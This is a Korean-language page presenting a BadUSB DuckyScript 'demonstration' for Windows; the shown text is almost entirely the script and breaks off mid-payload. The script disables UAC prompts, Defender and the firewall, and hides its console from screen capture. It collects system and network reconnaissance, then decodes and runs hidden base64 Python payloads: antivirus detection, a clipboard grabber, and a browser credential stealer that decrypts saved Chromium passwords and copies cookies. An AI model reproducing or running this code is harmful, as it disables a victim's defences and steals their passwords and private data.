DuckyScript Demonstration

DuckyScript Demonstration

DuckyScript란, HAK5에서 만든 BadUSB용 스크립트입니다. 여러 버전이 있지만 DuckyScript 1.0의 경우 범용적으로 유용했기 때문에 Flipper Zero, Bruce 등 다양한 곳에서 사용됩니다.

본 문서에서는 필자가 작성한 시연용 DuckyScript를 해설하고자 합니다. 이는 어디까지나 해설용 스크립트이며, 유용하지 않을 수 있고, 동작하지 않을 수 있습니다.

Script

REM Title: disable_uac + disable_defender + disable_firewall + exclude_capture + ensure_python + gather + av_detect + clipboard_grab + cred_pack + recent_files + trace_wipe
REM Target: windows
REM Script: ducky1
REM Speed: fastest
DEFAULT_DELAY 20
DELAY 200
GUI r
DELAY 300
STRING powershell -ExecutionPolicy Bypass -WindowStyle Normal
CTRL-SHIFT ENTER
DELAY 500
STRING Add-Type 'using System;using System.Runtime.InteropServices;public class B{[DllImport("kernel32.dll")]public static extern Syste
DELAY 20
STRING m.IntPtr GetConsoleWindow();[DllImport("user32.dll")]public static extern System.IntPtr GetForegroundWindow();[DllImport("user32
DELAY 20
STRING .dll")]public static extern bool SetWindowDisplayAffinity(System.IntPtr h,uint a);}';$a=0x11;$c=[B]::GetConsoleWindow();if($c){[
DELAY 20
STRING B]::SetWindowDisplayAffinity($c,$a)};$f=[B]::GetForegroundWindow();if($f -and $f -ne $c){[B]::SetWindowDisplayAffinity($f,$a)}
ENTER
DELAY 1000
STRING reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
ENTER
DELAY 100
STRING Set-MpPreference -DisableRealtimeMonitoring $true
ENTER
DELAY 1000
STRING netsh advfirewall set allprofiles state off
ENTER
DELAY 100
STRING if (Get-Command python,py -EA 0){return};if(-not(Get-Command winget -EA 0)){return};winget install -e --id 'Python.Python.3.12' --accept-package-agreements --accept-source-agreements --disable-interactivity;sleep 45
ENTER
STRING whoami /all | Out-File -FilePath ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING hostname | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING echo USER=$env:USERNAME SESSION=$env:SESSIONNAME | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING echo USERDOMAIN=$env:USERDOMAIN LOGONSERVER=$env:LOGONSERVER | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING nltest /dsgetdc: 2>$null | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING ipconfig /all | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING arp -a | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING route print | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING netstat -ano | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING systeminfo | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING tasklist | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING net localgroup administrators | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING whoami /priv | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING cmd /c set | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING schtasks /query /fo TABLE | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING winget list 2>$null | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall" /s | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING Get-MpComputerStatus | Format-List * | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Format-List * | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 25000
STRING $env:BADUSB_OUT=$env:TEMP+'\9e783ec9'
ENTER
STRING $b=''
ENTER
STRING $b+='aW1wb3J0IG9zCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBzeXMKCk9VVCA9IG9zLmVudmlyb24uZ2V0KCJCQURVU0JfT1VUIiwgIiIpCgoKZGVmIHBzKGNtZCk
DELAY 20
STRING 6CiAgICByID0gc3VicHJvY2Vzcy5ydW4oCiAgICAgICAgWyJwb3dlcnNoZWxsIiwgIi1Ob1Byb2ZpbGUiLCAiLUNvbW1hbmQiLCBjbWRdLAogICAgICAgIGNhcHR1cmV
DELAY 20
STRING fb3V0cHV0PVRydWUsCiAgICAgICAgdGV4dD1UcnVlLAogICAgICAgIGVuY29kaW5nPSJ1dGYtOCIsCiAgICAgICAgZXJyb3JzPSJyZXBsYWNlIiwKICAgICkKICAgIHJ
DELAY 20
STRING ldHVybiByLnN0ZG91dC5zdHJpcCgpCgoKZGVmIGNvbGxlY3QoKToKICAgIGxpbmVzID0gW10KICAgIGxpbmVzLmFwcGVuZCgiPT09IERlZmVuZGVyID09PSIpCiAgICB
DELAY 20
STRING saW5lcy5hcHBlbmQocHMoIkdldC1NcENvbXB1dGVyU3RhdHVzIHwgRm9ybWF0LUxpc3QgKiIpKQogICAgbGluZXMuYXBwZW5kKCI9PT0gU2VjdXJpdHlDZW50ZXIyID0
DELAY 20
STRING 9PSIpCiAgICBsaW5lcy5hcHBlbmQocHMoIkdldC1DaW1JbnN0YW5jZSAtTmFtZXNwYWNlIHJvb3QvU2VjdXJpdHlDZW50ZXIyIC1DbGFzc05hbWUgQW50aVZpcnVzUHJ
DELAY 20
STRING vZHVjdCB8IEZvcm1hdC1MaXN0ICoiKSkKICAgIGxpbmVzLmFwcGVuZCgiPT09IFJ1bm5pbmcgQVYgcHJvY2Vzc2VzID09PSIpCiAgICBsaW5lcy5hcHBlbmQocHMoIkd
DELAY 20
STRING ldC1Qcm9jZXNzIHwgV2hlcmUtT2JqZWN0IHskXy5Qcm9jZXNzTmFtZSAtbWF0Y2ggJ2RlZmVuZGVyfGF2YXN0fGF2Z3xlc2V0fGthc3BlcnNreXxiaXRkZWZlbmRlcnx
DELAY 20
STRING zb3Bob3N8bWNhZmVlfGNyb3dkc3RyaWtlfHNlbnRpbmVsJ30gfCBTZWxlY3QtT2JqZWN0IFByb2Nlc3NOYW1lLElkIHwgRm9ybWF0LVRhYmxlIikpCiAgICByZXR1cm4
DELAY 20
STRING gIlxuIi5qb2luKGxpbmVzKQoKCmRlZiBtYWluKCk6CiAgICBpZiBz'
ENTER
DELAY 50
STRING $b+='eXMucGxhdGZvcm0gIT0gIndpbjMyIjoKICAgICAgICBwcmludCgiYXZfZGV0ZWN0OiB3aW5kb3dzIG9ubHkiKQogICAgICAgIHJldHVybgogICAgaWYgbm90IE9
DELAY 20
STRING VVDoKICAgICAgICBzeXMuZXhpdCgxKQogICAgd2l0aCBvcGVuKE9VVCwgInciLCBlbmNvZGluZz0idXRmLTgiKSBhcyBmOgogICAgICAgIGYud3JpdGUoY29sbGVjdCg
DELAY 20
STRING pKQogICAgcHJpbnQoT1VUKQoKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICBtYWluKCkK'
ENTER
DELAY 50
STRING [IO.File]::WriteAllBytes($env:TEMP+'\cef2f5a7.py',[Convert]::FromBase64String($b))
ENTER
DELAY 200
STRING $p=Start-Process -FilePath 'python' -ArgumentList ($env:TEMP+'\cef2f5a7.py') -WindowStyle Hidden -PassThru
ENTER
DELAY 30
STRING $deadline=(Get-Date).AddMilliseconds(15000)
ENTER
DELAY 30
STRING while((Get-Date) -lt $deadline){if((Test-Path -LiteralPath $env:TEMP+'\9e783ec9') -and (Get-Item -LiteralPath $env:TEMP+'\9e783ec9').Length -gt 0){break};if($p.HasExited){break};Start-Sleep -Milliseconds 250}
ENTER
DELAY 30
STRING $env:BADUSB_DURATION_SEC='0'
ENTER
STRING $env:BADUSB_INTERVAL_SEC='5'
ENTER
STRING $env:BADUSB_OUT=$env:TEMP+'\4fe06424'
ENTER
STRING $b=''
ENTER
STRING $b+='aW1wb3J0IGN0eXBlcwppbXBvcnQgb3MKaW1wb3J0IHN5cwppbXBvcnQgdGltZQoKT1VUX1BBVEggPSBvcy5lbnZpcm9uLmdldCgiQkFEVVNCX09VVCIsICIiKQp
DELAY 20
STRING JTlRFUlZBTCA9IGludChvcy5lbnZpcm9uLmdldCgiQkFEVVNCX0lOVEVSVkFMX1NFQyIsICIwIikgb3IgIjAiKQpEVVJBVElPTiA9IGludChvcy5lbnZpcm9uLmdldCg
DELAY 20
STRING iQkFEVVNCX0RVUkFUSU9OX1NFQyIsICIwIikgb3IgIjAiKQoKCmRlZiByZWFkX2NsaXBib2FyZCgpOgogICAgdXNlcjMyID0gY3R5cGVzLndpbmRsbC51c2VyMzIKICA
DELAY 20
STRING gIGtlcm5lbDMyID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMgogICAgaWYgbm90IHVzZXIzMi5PcGVuQ2xpcGJvYXJkKDApOgogICAgICAgIHJldHVybiAiIgogICAgdHJ
DELAY 20
STRING 5OgogICAgICAgIGggPSB1c2VyMzIuR2V0Q2xpcGJvYXJkRGF0YSgxMykKICAgICAgICBpZiBub3QgaDoKICAgICAgICAgICAgcmV0dXJuICIiCiAgICAgICAgcHRyID0
DELAY 20
STRING ga2VybmVsMzIuR2xvYmFsTG9jayhoKQogICAgICAgIHRyeToKICAgICAgICAgICAgcmV0dXJuIGN0eXBlcy53c3RyaW5nX2F0KHB0cikKICAgICAgICBmaW5hbGx5Ogo
DELAY 20
STRING gICAgICAgICAgICBrZXJuZWwzMi5HbG9iYWxVbmxvY2soaCkKICAgIGZpbmFsbHk6CiAgICAgICAgdXNlcjMyLkNsb3NlQ2xpcGJvYXJkKCkKCgpkZWYgbWFpbigpOgo
DELAY 20
STRING gICAgaWYgc3lzLnBsYXRmb3JtICE9ICJ3aW4zMiI6CiAgICAgICAgcHJpbnQoImNsaXBib2FyZF9ncmFiOiB3aW5kb3dzIG9ubHkiKQogICAgICAgIHJldHVybgogICA
DELAY 20
STRING gY2h1bmtzID0gW10KICAgIGlmIElOVEVSVkFMID4gMCBhbmQgRFVSQVRJT04gPiAwOgogICAgICAgIGVuZCA9IHRpbWUudGltZSgpICsgRFVSQVRJT04KICAgICAgICB
DELAY 20
STRING 3aGlsZSB0aW1lLnRpbWUoKSA8IGVuZDoKICAgICAgICAgICAgdGV4'
ENTER
DELAY 50
STRING $b+='dCA9IHJlYWRfY2xpcGJvYXJkKCkKICAgICAgICAgICAgaWYgdGV4dDoKICAgICAgICAgICAgICAgIGNodW5rcy5hcHBlbmQoKHRpbWUuc3RyZnRpbWUoIiVIOiV
DELAY 20
STRING NOiVTIiksIHRleHQpKQogICAgICAgICAgICB0aW1lLnNsZWVwKElOVEVSVkFMKQogICAgZWxzZToKICAgICAgICB0ZXh0ID0gcmVhZF9jbGlwYm9hcmQoKQogICAgICA
DELAY 20
STRING gIGlmIHRleHQ6CiAgICAgICAgICAgIGNodW5rcy5hcHBlbmQoKCJvbmNlIiwgdGV4dCkpCiAgICBvdXQgPSBPVVRfUEFUSCBvciBvcy5wYXRoLmpvaW4ob3MuZW52aXJ
DELAY 20
STRING vbi5nZXQoIlRFTVAiLCAiLiIpLCAiY2xpcGJvYXJkLnR4dCIpCiAgICB3aXRoIG9wZW4ob3V0LCAidyIsIGVuY29kaW5nPSJ1dGYtOCIpIGFzIGY6CiAgICAgICAgZm9
DELAY 20
STRING yIHN0YW1wLCB0ZXh0IGluIGNodW5rczoKICAgICAgICAgICAgZi53cml0ZShmIi0tLSB7c3RhbXB9IC0tLVxue3RleHR9XG5cbiIpCiAgICBwcmludChvdXQpCgoKaWY
DELAY 20
STRING gX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIG1haW4oKQo='
ENTER
DELAY 50
STRING [IO.File]::WriteAllBytes($env:TEMP+'\a8375eef.py',[Convert]::FromBase64String($b))
ENTER
DELAY 200
STRING $p=Start-Process -FilePath 'python' -ArgumentList ($env:TEMP+'\a8375eef.py') -WindowStyle Hidden -PassThru
ENTER
DELAY 30
STRING $deadline=(Get-Date).AddMilliseconds(15000)
ENTER
DELAY 30
STRING while((Get-Date) -lt $deadline){if((Test-Path -LiteralPath $env:TEMP+'\4fe06424') -and (Get-Item -LiteralPath $env:TEMP+'\4fe06424').Length -gt 0){break};if($p.HasExited){break};Start-Sleep -Milliseconds 250}
ENTER
DELAY 30
STRING $env:BADUSB_BROWSER='all'
ENTER
STRING $env:BADUSB_OUT=$env:TEMP+'\2119d668'
ENTER
STRING $b=''
ENTER
STRING $b+='IiIiQ2hyb21pdW0gY3JlZHM6IFdpbmRvd3MgdjEwL0RQQVBJIGRlY3J5cHQ7IExpbnV4IHByb2ZpbGUgZmlsZSBncmFiLiIiIgppbXBvcnQgYmFzZTY0CmltcG9
DELAY 20
STRING ydCBqc29uCmltcG9ydCBvcwppbXBvcnQgc2h1dGlsCmltcG9ydCBzcWxpdGUzCmltcG9ydCBzeXMKaW1wb3J0IHppcGZpbGUKZnJvbSBjdHlwZXMgaW1wb3J0IFBPSU5
DELAY 20
STRING URVIsIFN0cnVjdHVyZSwgYnlyZWYsIGNfY2hhciwgd2luZGxsLCB3aW50eXBlcwoKT1VUX1BBVEggPSBvcy5lbnZpcm9uLmdldCgiQkFEVVNCX09VVCIsICIiKQoKQlJ
DELAY 20
STRING PV1NFUlMgPSB7CiAgICAiY2hyb21lIjogKCJHb29nbGUiLCAiQ2hyb21lIiksCiAgICAiZWRnZSI6ICgiTWljcm9zb2Z0IiwgIkVkZ2UiKSwKICAgICJicmF2ZSI6ICg
DELAY 20
STRING iQnJhdmVTb2Z0d2FyZSIsICJCcmF2ZS1Ccm93c2VyIiksCn0KTElOVVhfQlJPV1NFUlMgPSB7CiAgICAiY2hyb21lIjogImdvb2dsZS1jaHJvbWUiLAogICAgImNocm9
DELAY 20
STRING taXVtIjogImNocm9taXVtIiwKICAgICJicmF2ZSI6ICJCcmF2ZVNvZnR3YXJlL0JyYXZlLUJyb3dzZXIiLAogICAgImVkZ2UiOiAibWljcm9zb2Z0LWVkZ2UiLAp9Cgo
DELAY 20
STRING KY2xhc3MgREFUQV9CTE9CKFN0cnVjdHVyZSk6CiAgICBfZmllbGRzXyA9IFsoImNiRGF0YSIsIHdpbnR5cGVzLkRXT1JEKSwgKCJwYkRhdGEiLCBQT0lOVEVSKGNfY2h
DELAY 20
STRING hcikpXQoKCmRlZiBkcGFwaShkYXRhOiBieXRlcykgLT4gYnl0ZXM6CiAgICBibG9iX2luID0gREFUQV9CTE9CKGxlbihkYXRhKSwgY3R5cGVzX2NoYXIoZGF0YSkpCiA
DELAY 20
STRING gICBibG9iX291dCA9IERBVEFfQkxPQigpCiAgICBpZiBub3Qgd2luZGxsLmNyeXB0MzIuQ3J5cHRVbnByb3RlY3REYXRhKGJ5cmVmKGJsb2JfaW4pLCBOb25lLCBOb25
DELAY 20
STRING lLCBOb25lLCBOb25lLCAwLCBieXJlZihibG9iX291dCkpOgogICAg'
ENTER
DELAY 50
STRING $b+='ICAgIHJhaXNlIE9TRXJyb3IoIkNyeXB0VW5wcm90ZWN0RGF0YSBmYWlsZWQiKQogICAgbiA9IGJsb2Jfb3V0LmNiRGF0YQogICAgYnVmID0gY3R5cGVzX3N0cml
DELAY 20
STRING uZ19hdChibG9iX291dC5wYkRhdGEsIG4pCiAgICB3aW5kbGwua2VybmVsMzIuTG9jYWxGcmVlKGJsb2Jfb3V0LnBiRGF0YSkKICAgIHJldHVybiBidWYKCgpkZWYgY3R
DELAY 20
STRING 5cGVzX2NoYXIoZGF0YTogYnl0ZXMpOgogICAgcmV0dXJuIChjX2NoYXIgKiBsZW4oZGF0YSkpLmZyb21fYnVmZmVyX2NvcHkoZGF0YSkKCgpkZWYgY3R5cGVzX3N0cml
DELAY 20
STRING uZ19hdChwdHIsIG4pOgogICAgcmV0dXJuIGJ5dGVzKChjX2NoYXIgKiBuKS5mcm9tX2FkZHJlc3MocHRyKSkKCgpkZWYgYnJvd3Nlcl9rZXkoYmFzZTogc3RyKSAtPiB
DELAY 20
STRING ieXRlczoKICAgIHdpdGggb3Blbihvcy5wYXRoLmpvaW4oYmFzZSwgIkxvY2FsIFN0YXRlIiksIGVuY29kaW5nPSJ1dGYtOCIpIGFzIGY6CiAgICAgICAgZW5jID0gYmF
DELAY 20
STRING zZTY0LmI2NGRlY29kZShqc29uLmxvYWQoZilbIm9zX2NyeXB0Il1bImVuY3J5cHRlZF9rZXkiXSlbNTpdCiAgICByZXR1cm4gZHBhcGkoZW5jKQoKCmRlZiBkZWNyeXB
DELAY 20
STRING 0X3YxMChrZXk6IGJ5dGVzLCBibG9iOiBieXRlcykgLT4gc3RyOgogICAgZnJvbSBjcnlwdG9ncmFwaHkuaGF6bWF0LnByaW1pdGl2ZXMuY2lwaGVycy5hZWFkIGltcG9
DELAY 20
STRING ydCBBRVNHQ00KCiAgICByZXR1cm4gQUVTR0NNKGtleSkuZGVjcnlwdChibG9iWzM6MTVdLCBibG9iWzE1Oi0xNl0sIGJsb2JbLTE2Ol0pLmRlY29kZSgpCgoKZGVmIGR
DELAY 20
STRING lY3J5cHRfbGVnYWN5KGJsb2I6IGJ5dGVzKSAtPiBzdHI6CiAgICByZXR1cm4gZHBhcGkoYmxvYikuZGVjb2RlKCkKCgpkZWYgcmVhZF9sb2dpbnMoYmFzZTogc3RyLCB
DELAY 20
STRING wcm9maWxlOiBzdHIgPSAiRGVmYXVsdCIpOgogICAgZGIgPSBvcy5w'
ENTER
DELAY 50
STRING $b+='YXRoLmpvaW4oYmFzZSwgcHJvZmlsZSwgIkxvZ2luIERhdGEiKQogICAgaWYgbm90IG9zLnBhdGguaXNmaWxlKGRiKToKICAgICAgICByZXR1cm4gW10KICAgIHR
DELAY 20
STRING tcCA9IG9zLnBhdGguam9pbihvcy5lbnZpcm9uLmdldCgiVEVNUCIsICIuIiksIGYibG9naW5fe29zLmdldHBpZCgpfS5kYiIpCiAgICBzaHV0aWwuY29weTIoZGIsIHR
DELAY 20
STRING tcCkKICAgIGtleSA9IGJyb3dzZXJfa2V5KGJhc2UpCiAgICByb3dzID0gW10KICAgIGNvbiA9IHNxbGl0ZTMuY29ubmVjdCh0bXApCiAgICB0cnk6CiAgICAgICAgZm9
DELAY 20
STRING yIHVybCwgdXNlciwgcHdkIGluIGNvbi5leGVjdXRlKAogICAgICAgICAgICAiU0VMRUNUIG9yaWdpbl91cmwsIHVzZXJuYW1lX3ZhbHVlLCBwYXNzd29yZF92YWx1ZSB
DELAY 20
STRING GUk9NIGxvZ2lucyAiCiAgICAgICAgICAgICJXSEVSRSBibGFja2xpc3RlZF9ieV91c2VyPTAgQU5EIGxlbmd0aChwYXNzd29yZF92YWx1ZSk+MCIKICAgICAgICApOgo
DELAY 20
STRING gICAgICAgICAgICBpZiBub3QgcHdkOgogICAgICAgICAgICAgICAgY29udGludWUKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgaWYgcHdkWzozXSA9PSB
DELAY 20
STRING iInYyMCI6CiAgICAgICAgICAgICAgICAgICAgc2VjcmV0ID0gIjx2MjA6IHVzZSBiaW5hcnkgY2hyb21lX2NyZWRzPiIKICAgICAgICAgICAgICAgIGVsaWYgcHdkWzo
DELAY 20
STRING zXSA9PSBiInYxMCI6CiAgICAgICAgICAgICAgICAgICAgc2VjcmV0ID0gZGVjcnlwdF92MTAoa2V5LCBwd2QpCiAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICA
DELAY 20
STRING gICAgICAgICAgIHNlY3JldCA9IGRlY3J5cHRfbGVnYWN5KHB3ZCkKICAgICAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICAgICAgICAgIHNlY3JldCA9ICI
DELAY 20
STRING 8ZGVjcnlwdCBmYWlsZWQ+IgogICAgICAgICAgICByb3dzLmFwcGVu'
ENTER
DELAY 50
STRING $b+='ZCh7InVybCI6IHVybCwgInVzZXIiOiB1c2VyLCAicGFzcyI6IHNlY3JldH0pCiAgICBmaW5hbGx5OgogICAgICAgIGNvbi5jbG9zZSgpCiAgICAgICAgb3MucmV
DELAY 20
STRING tb3ZlKHRtcCkKICAgIHJldHVybiByb3dzCgoKZGVmIGJyb3dzZXJfYmFzZShuYW1lOiBzdHIpIC0+IHN0ciB8IE5vbmU6CiAgICB2ZW5kb3IsIHN1YiA9IEJST1dTRVJ
DELAY 20
STRING TW25hbWVdCiAgICBiYXNlID0gb3MucGF0aC5qb2luKG9zLmVudmlyb25bIkxPQ0FMQVBQREFUQSJdLCB2ZW5kb3IsIHN1YiwgIlVzZXIgRGF0YSIpCiAgICByZXR1cm4
DELAY 20
STRING gYmFzZSBpZiBvcy5wYXRoLmlzZGlyKGJhc2UpIGVsc2UgTm9uZQoKCmRlZiBwYXJzZV9icm93c2VycyhzcGVjOiBzdHIpIC0+IGxpc3Rbc3RyXToKICAgIHNwZWMgPSA
DELAY 20
STRING oc3BlYyBvciAiY2hyb21lIikuc3RyaXAoKS5sb3dlcigpCiAgICBpZiBzcGVjIGluICgiIiwgImFsbCIpOgogICAgICAgIHJldHVybiBsaXN0KEJST1dTRVJTKQogICA
DELAY 20
STRING gb3V0ID0gW10KICAgIGZvciBwYXJ0IGluIHNwZWMucmVwbGFjZSgiICIsICIiKS5zcGxpdCgiLCIpOgogICAgICAgIGlmIHBhcnQgaW4gQlJPV1NFUlMgYW5kIHBhcnQ
DELAY 20
STRING gbm90IGluIG91dDoKICAgICAgICAgICAgb3V0LmFwcGVuZChwYXJ0KQogICAgcmV0dXJuIG91dCBvciBbImNocm9tZSJdCgoKZGVmIHByb2ZpbGVfbmFtZSgpIC0+IHN
DELAY 20
STRING 0cjoKICAgIHJldHVybiAoCiAgICAgICAgb3MuZW52aXJvbi5nZXQoIkJBRFVTQl9CUk9XU0VSX1BST0ZJTEUiKQogICAgICAgIG9yIG9zLmVudmlyb24uZ2V0KCJCQUR
DELAY 20
STRING VU0JfQ0hST01FX1BST0ZJTEUiKQogICAgICAgIG9yICJEZWZhdWx0IgogICAgKQoKCmRlZiBsaW51eF9icm93c2VyX2Jhc2UobmFtZTogc3RyKSAtPiBzdHIgfCBOb25
DELAY 20
STRING lOgogICAgcmVsID0gTElOVVhfQlJPV1NFUlMuZ2V0KG5hbWUpCiAg'
ENTER
DELAY 50
STRING $b+='ICBpZiBub3QgcmVsOgogICAgICAgIHJldHVybiBOb25lCiAgICBwYXRoID0gb3MucGF0aC5qb2luKG9zLnBhdGguZXhwYW5kdXNlcigifiIpLCAiLmNvbmZpZyI
DELAY 20
STRING sIHJlbCkKICAgIHJldHVybiBwYXRoIGlmIG9zLnBhdGguaXNkaXIocGF0aCkgZWxzZSBOb25lCgoKZGVmIGxpbnV4X2NvbGxlY3QoYnJvd3NlcnM6IGxpc3Rbc3RyXSw
DELAY 20
STRING gb3V0OiBzdHIpOgogICAgd29yayA9IG9zLnBhdGguam9pbigiL3RtcCIsIGYiYmFkdXNiX2JyX3tvcy5nZXRwaWQoKX0iKQogICAgb3MubWFrZWRpcnMod29yaywgZXh
DELAY 20
STRING pc3Rfb2s9VHJ1ZSkKICAgIGZvdW5kID0gRmFsc2UKICAgIGZvciBuYW1lIGluIGJyb3dzZXJzOgogICAgICAgIGJhc2UgPSBsaW51eF9icm93c2VyX2Jhc2UobmFtZSk
DELAY 20
STRING KICAgICAgICBpZiBub3QgYmFzZToKICAgICAgICAgICAgY29udGludWUKICAgICAgICBkZXN0ID0gb3MucGF0aC5qb2luKHdvcmssIG5hbWUpCiAgICAgICAgb3MubWF
DELAY 20
STRING rZWRpcnMoZGVzdCwgZXhpc3Rfb2s9VHJ1ZSkKICAgICAgICBsb2NhbF9zdGF0ZSA9IG9zLnBhdGguam9pbihiYXNlLCAiTG9jYWwgU3RhdGUiKQogICAgICAgIGlmIG9
DELAY 20
STRING zLnBhdGguaXNmaWxlKGxvY2FsX3N0YXRlKToKICAgICAgICAgICAgc2h1dGlsLmNvcHkyKGxvY2FsX3N0YXRlLCBvcy5wYXRoLmpvaW4oZGVzdCwgIkxvY2FsIFN0YXR
DELAY 20
STRING lIikpCiAgICAgICAgICAgIGZvdW5kID0gVHJ1ZQogICAgICAgIGZvciBwcm9mIGluICgiRGVmYXVsdCIsICJQcm9maWxlIDEiLCAiUHJvZmlsZSAyIik6CiAgICAgICA
DELAY 20
STRING gICAgIHJvb3QgPSBvcy5wYXRoLmpvaW4oYmFzZSwgcHJvZikKICAgICAgICAgICAgaWYgbm90IG9zLnBhdGguaXNkaXIocm9vdCk6CiAgICAgICAgICAgICAgICBjb25
DELAY 20
STRING 0aW51ZQogICAgICAgICAgICBwZCA9IG9zLnBhdGguam9pbihkZXN0'
ENTER
DELAY 50
STRING $b+='LCBwcm9mKQogICAgICAgICAgICBvcy5tYWtlZGlycyhwZCwgZXhpc3Rfb2s9VHJ1ZSkKICAgICAgICAgICAgZm9yIGZuYW1lIGluICgiTG9naW4gRGF0YSIsICJ
DELAY 20
STRING Db29raWVzIiwgIldlYiBEYXRhIiwgIlByZWZlcmVuY2VzIik6CiAgICAgICAgICAgICAgICBzcmMgPSBvcy5wYXRoLmpvaW4ocm9vdCwgZm5hbWUpCiAgICAgICAgICA
DELAY 20
STRING gICAgICBpZiBvcy5wYXRoLmlzZmlsZShzcmMpOgogICAgICAgICAgICAgICAgICAgIHNodXRpbC5jb3B5MihzcmMsIG9zLnBhdGguam9pbihwZCwgZm5hbWUucmVwbGF
DELAY 20
STRING jZSgiICIsICJfIikpKQogICAgICAgICAgICAgICAgICAgIGZvdW5kID0gVHJ1ZQogICAgaWYgbm90IGZvdW5kOgogICAgICAgIHByaW50KCJicm93c2VyX2V4ZmlsOiB
DELAY 20
STRING ubyBsaW51eCBicm93c2VyIGRhdGEiKQogICAgICAgIHNodXRpbC5ybXRyZWUod29yaywgaWdub3JlX2Vycm9ycz1UcnVlKQogICAgICAgIHJldHVybgogICAgd2l0aCB
DELAY 20
STRING 6aXBmaWxlLlppcEZpbGUob3V0LCAidyIsIHppcGZpbGUuWklQX0RFRkxBVEVEKSBhcyB6ZjoKICAgICAgICBmb3Igcm9vdCwgXywgZmlsZXMgaW4gb3Mud2Fsayh3b3J
DELAY 20
STRING rKToKICAgICAgICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOgogICAgICAgICAgICAgICAgcGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkKICAgICAgICAgICA
DELAY 20
STRING gICAgIHpmLndyaXRlKHBhdGgsIGFyY25hbWU9b3MucGF0aC5yZWxwYXRoKHBhdGgsIHdvcmspKQogICAgc2h1dGlsLnJtdHJlZSh3b3JrLCBpZ25vcmVfZXJyb3JzPVR
DELAY 20
STRING ydWUpCiAgICBwcmludChvdXQpCgoKZGVmIG1haW4oKToKICAgIGlmIHN5cy5wbGF0Zm9ybSAhPSAid2luMzIiOgogICAgICAgIHNwZWMgPSBvcy5lbnZpcm9uLmdldCg
DELAY 20
STRING iQkFEVVNCX0JST1dTRVIiKSBvciBvcy5lbnZpcm9uLmdldCgiQkFE'
ENTER
DELAY 50
STRING $b+='VVNCX0NIUk9NRV9CUk9XU0VSIikgb3IgImNocm9tZSIKICAgICAgICBicm93c2VycyA9IHBhcnNlX2Jyb3dzZXJzKHNwZWMpCiAgICAgICAgaWYgc3BlYyBpbiA
DELAY 20
STRING oIiIsICJhbGwiKToKICAgICAgICAgICAgYnJvd3NlcnMgPSBsaXN0KExJTlVYX0JST1dTRVJTKQogICAgICAgIG91dCA9IE9VVF9QQVRIIG9yIG9zLnBhdGguam9pbig
DELAY 20
STRING iL3RtcCIsICJicm93c2VyX2NyZWRzLnppcCIpCiAgICAgICAgbGludXhfY29sbGVjdChicm93c2Vycywgb3V0KQogICAgICAgIHJldHVybgogICAgdHJ5OgogICAgICA
DELAY 20
STRING gIGZyb20gY3J5cHRvZ3JhcGh5Lmhhem1hdC5wcmltaXRpdmVzLmNpcGhlcnMuYWVhZCBpbXBvcnQgQUVTR0NNICAjIG5vcWE6IEY0MDEKICAgIGV4Y2VwdCBJbXBvcnR
DELAY 20
STRING FcnJvcjoKICAgICAgICBpbXBvcnQgc3VicHJvY2VzcwoKICAgICAgICBzdWJwcm9jZXNzLmNoZWNrX2NhbGwoW3N5cy5leGVjdXRhYmxlLCAiLW0iLCAicGlwIiwgIml
DELAY 20
STRING uc3RhbGwiLCAiLXEiLCAiY3J5cHRvZ3JhcGh5Il0pCgogICAgc3BlYyA9IG9zLmVudmlyb24uZ2V0KCJCQURVU0JfQlJPV1NFUiIpIG9yIG9zLmVudmlyb24uZ2V0KCJ
DELAY 20
STRING CQURVU0JfQ0hST01FX0JST1dTRVIiKSBvciAiY2hyb21lIgogICAgYnJvd3NlcnMgPSBwYXJzZV9icm93c2VycyhzcGVjKQogICAgcHJvZiA9IHByb2ZpbGVfbmFtZSg
DELAY 20
